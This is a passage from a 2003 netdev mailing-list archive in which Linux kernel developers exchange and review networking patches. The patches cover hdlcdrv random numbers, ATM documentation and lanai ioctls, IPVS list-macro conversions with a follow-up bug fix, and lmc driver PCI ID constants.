charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 145 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 995 Lines: 27 On Fri, 19 Sep 2003 23:46:42 +0200 Andi Kleen wrote: > > void hdlcdrv_arbitrate(struct net_device *dev, struct hdlcdrv_state *s) > > { > > + u8 prand; > > + > > if (!s || s->magic != HDLCDRV_MAGIC || s->hdlctx.ptt || !s->skb) > > return; > > if (s->ch_params.fulldup) { > > @@ -459,7 +452,9 @@ > > if ((--s->hdlctx.slotcnt) > 0) > > return; > > s->hdlctx.slotcnt = s->ch_params.slottime; > > - if ((random_num() % 256) > s->ch_params.ppersist) > > + > > + get_random_bytes(&prand, sizeof(prand)); > > + if (prand > s->ch_params.ppersist) > > The "hard" random numbers generated by get_random_bytes > are a precious scarce resource (many systems don't generate them very often). > They should only be used as seed or when it is needed for security, otherwise > users who really need them risk blocking on /dev/random. > Especially if that function is called often it would be a bad idea. Well go ahead an leave it out. It gets called once, and isn't important. From chas@cmf.nrl.navy.mil Mon Sep 22 10:04:15 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 22 Sep 2003 10:04:20 -0700 (PDT) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8MH4EFx025813 for ; Mon, 22 Sep 2003 10:04:14 -0700 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id h8MH48kT009115; Mon, 22 Sep 2003 13:04:09 -0400 (EDT) Message-Id: <200309221704.h8MH48kT009115@ginger.cmf.nrl.navy.mil> To: davem@redhat.com cc: netdev@oss.sgi.com Subject: [PATCH][ATM]: update link in documentation Reply-To: chas3@users.sourceforge.net Date: Mon, 22 Sep 2003 13:04:10 -0400 From: chas williams X-Spam-Score: () hits=0.5 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 147 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev Content-Length: 1329 Lines: 29 please apply to 2.4. --thanks # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1116 -> 1.1117 # Documentation/networking/atm.txt 1.1 -> 1.2 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 03/09/22 chas@relax.cmf.nrl.navy.mil 1.1117 # [ATM]: update link in documentation # -------------------------------------------- # diff -Nru a/Documentation/networking/atm.txt b/Documentation/networking/atm.txt --- a/Documentation/networking/atm.txt Mon Sep 22 13:01:05 2003 +++ b/Documentation/networking/atm.txt Mon Sep 22 13:01:05 2003 @@ -1,8 +1,8 @@ In order to use anything but the most primitive functions of ATM, several user-mode programs are required to assist the kernel. These programs and related material can be found via the ATM on Linux Web -page at http://icawww1.epfl.ch/linux-atm/ +page at http://linux-atm.sourceforge.net/ If you encounter problems with ATM, please report them on the ATM on Linux mailing list. Subscription information, archives, etc., -can be found on http://icawww1.epfl.ch/linux-atm/ +can be found on http://linux-atm.sourceforge.net/ From chas@cmf.nrl.navy.mil Mon Sep 22 10:04:01 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 22 Sep 2003 10:04:08 -0700 (PDT) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8MH40Fx025772 for ; Mon, 22 Sep 2003 10:04:01 -0700 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id h8MH3tkT009109; Mon, 22 Sep 2003 13:03:55 -0400 (EDT) Message-Id: <200309221703.h8MH3tkT009109@ginger.cmf.nrl.navy.mil> To: davem@redhat.com cc: netdev@oss.sgi.com Subject: [PATCH][ATM]: [lanai] ioctl only meant for debugging (from mitch@sfgoth.com) Reply-To: chas3@users.sourceforge.net Date: Mon, 22 Sep 2003 13:03:57 -0400 From: chas williams X-Spam-Score: () hits=0.5 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 146 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev Content-Length: 1278 Lines: 37 pleae apply to 2.4. --thanks # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1115 -> 1.1116 # drivers/atm/lanai.c 1.4 -> 1.5 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 03/09/22 chas@relax.cmf.nrl.navy.mil 1.1116 # [ATM]: [lanai] ioctl only meant for debugging (from mitch@sfgoth.com) # -------------------------------------------- # diff -Nru a/drivers/atm/lanai.c b/drivers/atm/lanai.c --- a/drivers/atm/lanai.c Mon Sep 22 13:01:23 2003 +++ b/drivers/atm/lanai.c Mon Sep 22 13:01:23 2003 @@ -2574,6 +2574,7 @@ /* NOTE: these are all DEBUGGING ONLY currently */ static int lanai_ioctl(struct atm_dev *atmdev, unsigned int cmd, void *arg) { +#if 0 int result = 0; struct lanai_dev *lanai = (struct lanai_dev *) atmdev->dev_data; switch(cmd) { @@ -2653,6 +2654,10 @@ result = -EINVAL; } return result; +#else /* !0 */ + (void) atmdev; (void) cmd; (void) arg; /* no compiler warnings */ + return -ENOIOCTLCMD; +#endif /* 0 */ } static int lanai_send(struct atm_vcc *atmvcc, struct sk_buff *skb) From hch@infradead.org Mon Sep 22 10:07:52 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 22 Sep 2003 10:07:56 -0700 (PDT) Received: from phoenix.infradead.org (pub234.cambridge.redhat.com [213.86.99.234] (may be forged)) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8MH7oFx026473 for ; Mon, 22 Sep 2003 10:07:51 -0700 Received: from hch by phoenix.infradead.org with local (Exim 4.22) id 1A1UAA-0006tb-51; Mon, 22 Sep 2003 18:07:50 +0100 Date: Mon, 22 Sep 2003 18:07:50 +0100 From: Christoph Hellwig To: chas3@users.sourceforge.net Cc: davem@redhat.com, netdev@oss.sgi.com Subject: Re: [PATCH][ATM]: [lanai] ioctl only meant for debugging (from mitch@sfgoth.com) Message-ID: <20030922180749.A26432@infradead.org> References: <200309221703.h8MH3tkT009109@ginger.cmf.nrl.navy.mil> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <200309221703.h8MH3tkT009109@ginger.cmf.nrl.navy.mil>; from chas@cmf.nrl.navy.mil on Mon, Sep 22, 2003 at 01:03:57PM -0400 X-archive-position: 148 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hch@infradead.org Precedence: bulk X-list: netdev Content-Length: 127 Lines: 2 Umm, shouldn't you just ifdef out the whole function and it's assignment to the operations vector? This looks horribly ugly.. From chas@cmf.nrl.navy.mil Mon Sep 22 10:55:20 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 22 Sep 2003 10:55:24 -0700 (PDT) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8MHtJFx027829 for ; Mon, 22 Sep 2003 10:55:19 -0700 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id h8MHt5kT010184; Mon, 22 Sep 2003 13:55:05 -0400 (EDT) Message-Id: <200309221755.h8MHt5kT010184@ginger.cmf.nrl.navy.mil> To: Christoph Hellwig cc: davem@redhat.com, netdev@oss.sgi.com Subject: Re: [PATCH][ATM]: [lanai] ioctl only meant for debugging (from mitch@sfgoth.com) In-Reply-To: Message from Christoph Hellwig of "Mon, 22 Sep 2003 18:07:50 BST." <20030922180749.A26432@infradead.org> Date: Mon, 22 Sep 2003 13:55:07 -0400 From: chas williams X-Spam-Score: () hits=-0.9 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 149 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev Content-Length: 295 Lines: 6 In message <20030922180749.A26432@infradead.org>,Christoph Hellwig writes: >Umm, shouldn't you just ifdef out the whole function and it's >assignment to the operations vector? This looks horribly ugly.. i suppose i am not convinced that two #ifdef/#endif's are better than an #if/#else/#endif From hch@infradead.org Mon Sep 22 11:00:20 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 22 Sep 2003 11:00:29 -0700 (PDT) Received: from phoenix.infradead.org (pub234.cambridge.redhat.com [213.86.99.234] (may be forged)) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8MI0JFx028208 for ; Mon, 22 Sep 2003 11:00:19 -0700 Received: from hch by phoenix.infradead.org with local (Exim 4.22) id 1A1Uyw-0007D7-1D; Mon, 22 Sep 2003 19:00:18 +0100 Date: Mon, 22 Sep 2003 19:00:17 +0100 From: Christoph Hellwig To: chas williams Cc: Christoph Hellwig , davem@redhat.com, netdev@oss.sgi.com Subject: Re: [PATCH][ATM]: [lanai] ioctl only meant for debugging (from mitch@sfgoth.com) Message-ID: <20030922190017.A27677@infradead.org> References: <200309221755.h8MHt5kT010184@ginger.cmf.nrl.navy.mil> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <200309221755.h8MHt5kT010184@ginger.cmf.nrl.navy.mil>; from chas@cmf.nrl.navy.mil on Mon, Sep 22, 2003 at 01:55:07PM -0400 X-archive-position: 150 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hch@infradead.org Precedence: bulk X-list: netdev Content-Length: 889 Lines: 27 On Mon, Sep 22, 2003 at 01:55:07PM -0400, chas williams wrote: > In message <20030922180749.A26432@infradead.org>,Christoph Hellwig writes: > >Umm, shouldn't you just ifdef out the whole function and it's > >assignment to the operations vector? This looks horribly ugly.. > > i suppose i am not convinced that two #ifdef/#endif's are better than an > #if/#else/#endif first ifdefs in a function are always worse than around functions, second ifdefs in a function that make it a stuv are pretty ugly and third your (void)arg crap is ugly as hell. (what compiler do you have that complains about this, btw, gcc 3.3 doesn't..). So if you prefer one if/else/endif you can do it as #if FOO foo_ioctl() { } #else #define foo_ioctl NULL #endif but in the case of assigning a function pointer to an operation vector I find this more confusing than the above variant. ---end quoted text--- From shemminger@osdl.org Mon Sep 22 11:04:33 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 22 Sep 2003 11:04:41 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8MI4WFx029691 for ; Mon, 22 Sep 2003 11:04:33 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8MI4AU15494; Mon, 22 Sep 2003 11:04:11 -0700 Date: Mon, 22 Sep 2003 11:03:46 -0700 From: Stephen Hemminger To: Julian Anastasov Cc: Wensong Zhang , , Subject: Re: [PATCH] (3/6) ipvs -- use list_for_each_entry macro's Message-Id: <20030922110346.054aadb8.shemminger@osdl.org> In-Reply-To: References: <20030916141750.53bbb04e.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 151 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 7196 Lines: 242 Thank you for your observations. Here are my comments. Followup message is a patch to restore the missing pieces. Why don't you make up a patch with your changes to gcd and list_for_each_entry_continue? > It seems some places become inefficient. May be we have > to introduce list_for_each_entry_continue?: > > * list_for_each_entry_continue - iterate over list of given type > * continuing after existing point > * @pos: the type * to use as a loop counter. > * @head: the head for your list. > * @member: the name of the list_struct within the struct. > */ > #define list_for_each_entry_continue(pos, head, member) \ > for (pos = list_entry(pos->member.next, typeof(*pos), member), \ > prefetch(pos->member.next); \ > &pos->member != (head); \ > pos = list_entry(pos->member.next, typeof(*pos), member), \ > prefetch(pos->member.next)) > That looks good. > below are some comments, there are some strange changes: > > On Tue, 16 Sep 2003, Stephen Hemminger wrote: > > > diff -Nru a/net/ipv4/ipvs/ip_vs_app.c b/net/ipv4/ipvs/ip_vs_app.c > > --- a/net/ipv4/ipvs/ip_vs_app.c Tue Sep 16 14:08:39 2003 > > +++ b/net/ipv4/ipvs/ip_vs_app.c Tue Sep 16 14:08:39 2003 > > @@ -214,18 +214,14 @@ > > */ > > void unregister_ip_vs_app(struct ip_vs_app *app) > > { > > - struct ip_vs_app *inc; > > - struct list_head *l = &app->incs_list; > > + struct ip_vs_app *inc, *nxt; > > > > down(&__ip_vs_app_mutex); > > > > - while (l->next != l) { > > - inc = list_entry(l->next, struct ip_vs_app, a_list); > > + list_for_each_entry_safe(inc, nxt, &app->incs_list, a_list) { > > ip_vs_app_inc_release(inc); > > } > > What happens with this list_del?: That got accidentally dropped. Will send patch out to restore. > > > > - list_del(&app->a_list); > > - > > up(&__ip_vs_app_mutex); > > > > /* decrease the module use count */ > > > diff -Nru a/net/ipv4/ipvs/ip_vs_rr.c b/net/ipv4/ipvs/ip_vs_rr.c > > --- a/net/ipv4/ipvs/ip_vs_rr.c Tue Sep 16 14:08:39 2003 > > +++ b/net/ipv4/ipvs/ip_vs_rr.c Tue Sep 16 14:08:39 2003 > > @@ -57,7 +57,7 @@ > > static struct ip_vs_dest * > > ip_vs_rr_schedule(struct ip_vs_service *svc, struct iphdr *iph) > > { > > - register struct list_head *p, *q; > > + struct list_head *p, *q; > > struct ip_vs_dest *dest; > > > > IP_VS_DBG(6, "ip_vs_rr_schedule(): Scheduling...\n"); > > @@ -73,12 +73,12 @@ > > continue; > > } > > new empty line, may be your changes to ip_vs_rr.c are > not completed/actual? :) : Another accidental screw-up... I tried to use list_for_each somehow in the RR code, but it got too messy and backed out back to the original, and lost some stuff. > > > > + > > dest = list_entry(q, struct ip_vs_dest, n_list); > > if (!(dest->flags & IP_VS_DEST_F_OVERLOAD) && > > atomic_read(&dest->weight) > 0) > > /* HIT */ > > goto out; > > Why this line is deleted?: > > > - q = q->next; > > } while (q != p); > > write_unlock(&svc->sched_lock); > > return NULL; > > > > diff -Nru a/net/ipv4/ipvs/ip_vs_sed.c b/net/ipv4/ipvs/ip_vs_sed.c > > --- a/net/ipv4/ipvs/ip_vs_sed.c Tue Sep 16 14:08:39 2003 > > +++ b/net/ipv4/ipvs/ip_vs_sed.c Tue Sep 16 14:08:39 2003 > > @@ -85,7 +85,6 @@ > > static struct ip_vs_dest * > > ip_vs_sed_schedule(struct ip_vs_service *svc, struct iphdr *iph) > > { > > - register struct list_head *l, *e; > > struct ip_vs_dest *dest, *least; > > unsigned int loh, doh; > > > > @@ -104,9 +103,7 @@ > > * new connections. > > */ > > > > - l = &svc->destinations; > > - for (e=l->next; e!=l; e=e->next) { > > - least = list_entry(e, struct ip_vs_dest, n_list); > > + list_for_each_entry(least, &svc->destinations, n_list) { > > if (!(least->flags & IP_VS_DEST_F_OVERLOAD) && > > atomic_read(&least->weight) > 0) { > > loh = ip_vs_sed_dest_overhead(least); > > @@ -119,9 +116,7 @@ > > * Find the destination with the least load. > > */ > > Inefficient, list_for_each_entry_continue?: As inefficient as the original though. > > nextstage: > > - for (e=e->next; e!=l; e=e->next) { > > - dest = list_entry(e, struct ip_vs_dest, n_list); > > - > > + list_for_each_entry(dest, &svc->destinations, n_list) { > > if (dest->flags & IP_VS_DEST_F_OVERLOAD) > > continue; > > doh = ip_vs_sed_dest_overhead(dest); > > > > diff -Nru a/net/ipv4/ipvs/ip_vs_wlc.c b/net/ipv4/ipvs/ip_vs_wlc.c > > --- a/net/ipv4/ipvs/ip_vs_wlc.c Tue Sep 16 14:08:39 2003 > > +++ b/net/ipv4/ipvs/ip_vs_wlc.c Tue Sep 16 14:08:39 2003 > > @@ -73,7 +73,6 @@ > > static struct ip_vs_dest * > > ip_vs_wlc_schedule(struct ip_vs_service *svc, struct iphdr *iph) > > { > > - register struct list_head *l, *e; > > struct ip_vs_dest *dest, *least; > > unsigned int loh, doh; > > > > @@ -92,9 +91,7 @@ > > * new connections. > > */ > > > > - l = &svc->destinations; > > - for (e=l->next; e!=l; e=e->next) { > > - least = list_entry(e, struct ip_vs_dest, n_list); > > + list_for_each_entry(least, &svc->destinations, n_list) { > > if (!(least->flags & IP_VS_DEST_F_OVERLOAD) && > > atomic_read(&least->weight) > 0) { > > loh = ip_vs_wlc_dest_overhead(least); > > @@ -107,9 +104,7 @@ > > * Find the destination with the least load. > > */ > > Shorter, not broken but inefficient, list_for_each_entry_continue?: > > > nextstage: > > - for (e=e->next; e!=l; e=e->next) { > > - dest = list_entry(e, struct ip_vs_dest, n_list); > > - > > + list_for_each_entry(dest, &svc->destinations, n_list) { > > if (dest->flags & IP_VS_DEST_F_OVERLOAD) > > continue; > > doh = ip_vs_wlc_dest_overhead(dest); > > > diff -Nru a/net/ipv4/ipvs/ip_vs_wrr.c b/net/ipv4/ipvs/ip_vs_wrr.c > > --- a/net/ipv4/ipvs/ip_vs_wrr.c Tue Sep 16 14:08:39 2003 > > +++ b/net/ipv4/ipvs/ip_vs_wrr.c Tue Sep 16 14:08:39 2003 > > @@ -56,25 +56,22 @@ > > > > static int ip_vs_wrr_gcd_weight(struct ip_vs_service *svc) > > { > > - register struct list_head *l, *e; > > struct ip_vs_dest *dest; > > int weight; > > int g = 1; > > > > - l = &svc->destinations; > > - for (e=l->next; e!=l; e=e->next) { > > - dest = list_entry(e, struct ip_vs_dest, n_list); > > + list_for_each_entry(dest, &svc->destinations, n_list) { > > weight = atomic_read(&dest->weight); > > if (weight > 0) { > > g = weight; > > - break; > > + goto search_gcd; > > } > > } > > - if (e == l) > > - return g; > > > > - for (e=e->next; e!=l; e=e->next) { > > - dest = list_entry(e, struct ip_vs_dest, n_list); > > + return g; > > + > > It still does not look good: > > > + search_gcd: > > + list_for_each_entry(dest, &svc->destinations, n_list) { > > weight = atomic_read(&dest->weight); > > if (weight > 0) > > g = gcd(weight, g); > > @@ -89,13 +86,10 @@ > > What about such version?: > > static int ip_vs_wrr_gcd_weight(struct ip_vs_service *svc) > { > struct ip_vs_dest *dest; > int weight; > int g = 0; > > list_for_each_entry(dest, &svc->destinations, n_list) { > weight = atomic_read(&dest->weight); > if (weight > 0) { > if (g > 0) > g = gcd(weight, g); > else > g = weight; > } > } > > return g?: 1; The null ?: is a gcc extension that confuses people. From shemminger@osdl.org Mon Sep 22 11:22:44 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 22 Sep 2003 11:22:48 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8MIMgFx003247 for ; Mon, 22 Sep 2003 11:22:43 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8MIMSU19093; Mon, 22 Sep 2003 11:22:28 -0700 Date: Mon, 22 Sep 2003 11:22:04 -0700 From: Stephen Hemminger To: Julian Anastasov , "David S. Miller" Cc: Wensong Zhang , , Subject: [PATCH] ipvs -- fix error's in list_for_each changes. Message-Id: <20030922112204.225e1a98.shemminger@osdl.org> In-Reply-To: References: <20030916141750.53bbb04e.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 152 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 915 Lines: 32 The earlier list_for_each changes introduced a couple of bugs where lines got dropped. This restores them. diff -Nru a/net/ipv4/ipvs/ip_vs_app.c b/net/ipv4/ipvs/ip_vs_app.c --- a/net/ipv4/ipvs/ip_vs_app.c Mon Sep 22 11:19:05 2003 +++ b/net/ipv4/ipvs/ip_vs_app.c Mon Sep 22 11:19:05 2003 @@ -222,6 +222,8 @@ ip_vs_app_inc_release(inc); } + list_del(&app->a_list); + up(&__ip_vs_app_mutex); /* decrease the module use count */ diff -Nru a/net/ipv4/ipvs/ip_vs_rr.c b/net/ipv4/ipvs/ip_vs_rr.c --- a/net/ipv4/ipvs/ip_vs_rr.c Mon Sep 22 11:19:05 2003 +++ b/net/ipv4/ipvs/ip_vs_rr.c Mon Sep 22 11:19:05 2003 @@ -73,12 +73,12 @@ continue; } - dest = list_entry(q, struct ip_vs_dest, n_list); if (!(dest->flags & IP_VS_DEST_F_OVERLOAD) && atomic_read(&dest->weight) > 0) /* HIT */ goto out; + q = q->next; } while (q != p); write_unlock(&svc->sched_lock); return NULL; From shemminger@osdl.org Mon Sep 22 11:46:34 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 22 Sep 2003 11:46:38 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8MIkYFx003838 for ; Mon, 22 Sep 2003 11:46:34 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8MIkQU23485; Mon, 22 Sep 2003 11:46:26 -0700 Date: Mon, 22 Sep 2003 11:46:03 -0700 From: Stephen Hemminger To: Jeff Garzik Cc: netdev@oss.sgi.com Subject: Re: [PATCH] convert wan/lmc to device model Message-Id: <20030922114603.34f3a2f5.shemminger@osdl.org> In-Reply-To: <3F6C92B3.3060603@pobox.com> References: <20030916143627.51a08be0.shemminger@osdl.org> <3F6C92B3.3060603@pobox.com> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 153 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 3613 Lines: 96 Okay, here is a patch to use pci_ids.h values. > Um, this is majorly ugly. I know you didn't create the CORRECT_xxx > constants... but let's not use them. Either use the hex constants > directly, or update pci_ids.h and use the constants from there. diff -Nru a/drivers/net/wan/lmc/lmc_main.c b/drivers/net/wan/lmc/lmc_main.c --- a/drivers/net/wan/lmc/lmc_main.c Mon Sep 22 11:45:18 2003 +++ b/drivers/net/wan/lmc/lmc_main.c Mon Sep 22 11:45:18 2003 @@ -83,8 +83,10 @@ static int LMC_PKT_BUF_SZ = 1542; static struct pci_device_id lmc_pci_tbl[] = { - { CORRECT_VENDOR_ID, CORRECT_DEV_ID, PCI_VENDOR_LMC, PCI_ANY_ID }, - { CORRECT_VENDOR_ID, CORRECT_DEV_ID, PCI_ANY_ID, PCI_VENDOR_LMC }, + { PCI_VENDOR_ID_DEC, PCI_DEVICE_ID_DEC_TULIP_FAST, + PCI_VENDOR_ID_LMC, PCI_ANY_ID }, + { PCI_VENDOR_ID_DEC, PCI_DEVICE_ID_DEC_TULIP_FAST, + PCI_ANY_ID, PCI_VENDOR_ID_LMC }, { 0 } }; @@ -921,26 +923,26 @@ * the setting in the bois, seems to be version and arch dependent? * Fix the error, exchange the two values */ - if ((subdevice = pdev->subsystem_device) == PCI_VENDOR_LMC) + if ((subdevice = pdev->subsystem_device) == PCI_VENDOR_ID_LMC) subdevice = pdev->subsystem_vendor; switch (subdevice) { - case PCI_PRODUCT_LMC_HSSI: + case PCI_DEVICE_ID_LMC_HSSI: printk ("%s: LMC HSSI\n", dev->name); sc->lmc_cardtype = LMC_CARDTYPE_HSSI; sc->lmc_media = &lmc_hssi_media; break; - case PCI_PRODUCT_LMC_DS3: + case PCI_DEVICE_ID_LMC_DS3: printk ("%s: LMC DS3\n", dev->name); sc->lmc_cardtype = LMC_CARDTYPE_DS3; sc->lmc_media = &lmc_ds3_media; break; - case PCI_PRODUCT_LMC_SSI: + case PCI_DEVICE_ID_LMC_SSI: printk ("%s: LMC SSI\n", dev->name); sc->lmc_cardtype = LMC_CARDTYPE_SSI; sc->lmc_media = &lmc_ssi_media; break; - case PCI_PRODUCT_LMC_T1: + case PCI_DEVICE_ID_LMC_T1: printk ("%s: LMC T1\n", dev->name); sc->lmc_cardtype = LMC_CARDTYPE_T1; sc->lmc_media = &lmc_t1_media; @@ -965,13 +967,13 @@ AdapModelNum = (lmc_mii_readreg (sc, 0, 3) & 0x3f0) >> 4; if ((AdapModelNum == LMC_ADAP_T1 - && subdevice == PCI_PRODUCT_LMC_T1) || /* detect LMC1200 */ + && subdevice == PCI_DEVICE_ID_LMC_T1) || /* detect LMC1200 */ (AdapModelNum == LMC_ADAP_SSI - && subdevice == PCI_PRODUCT_LMC_SSI) || /* detect LMC1000 */ + && subdevice == PCI_DEVICE_ID_LMC_SSI) || /* detect LMC1000 */ (AdapModelNum == LMC_ADAP_DS3 - && subdevice == PCI_PRODUCT_LMC_DS3) || /* detect LMC5245 */ + && subdevice == PCI_DEVICE_ID_LMC_DS3) || /* detect LMC5245 */ (AdapModelNum == LMC_ADAP_HSSI - && subdevice == PCI_PRODUCT_LMC_HSSI)) + && subdevice == PCI_DEVICE_ID_LMC_HSSI)) { /* detect LMC5200 */ } diff -Nru a/drivers/net/wan/lmc/lmc_var.h b/drivers/net/wan/lmc/lmc_var.h --- a/drivers/net/wan/lmc/lmc_var.h Mon Sep 22 11:45:18 2003 +++ b/drivers/net/wan/lmc/lmc_var.h Mon Sep 22 11:45:18 2003 @@ -519,18 +519,7 @@ #define TULIP_CMD_RECEIVEALL 0x40000000L #endif - -/* PCI register values */ -#define CORRECT_VENDOR_ID 0x1011 -#define CORRECT_DEV_ID 9 - -#define PCI_VENDOR_LMC 0x1376 -#define PCI_PRODUCT_LMC_HSSI 0x0003 -#define PCI_PRODUCT_LMC_DS3 0x0004 -#define PCI_PRODUCT_LMC_SSI 0x0005 -#define PCI_PRODUCT_LMC_T1 0x0006 - -/* Adapcter module number */ +/* Adapter module number */ #define LMC_ADAP_HSSI 2 #define LMC_ADAP_DS3 3 #define LMC_ADAP_SSI 4 From sri@us.ibm.com Mon Sep 22 15:07:32 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 22 Sep 2003 15:07:38 -0700 (PDT) Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8MM7VFx018258 for ; Mon, 22 Sep 2003 15:07:32 -0700 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e34.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id h8MM6lbl326992; Mon, 22 Sep 2003 18:06:47 -0400 Received: from w-sridhar.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.9/NCO/VER6.6) with ESMTP id h8MM6h7F064332; Mon, 22 Sep 2003 16:06:44 -0600 Date: Mon, 22 Sep 2003 15:06:41 -0700 (PDT) From: Sridhar Samudrala X-X-Sender: sridhar@localhost.localdomain To: Arnaldo Carvalho de Melo cc: "David S. Miller" , , Subject: Re: net/sctp/sm_make_chunk.c alignment problems on parisc64 In-Reply-To: <20030920155404.GA29040@conectiva.com.br> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 154 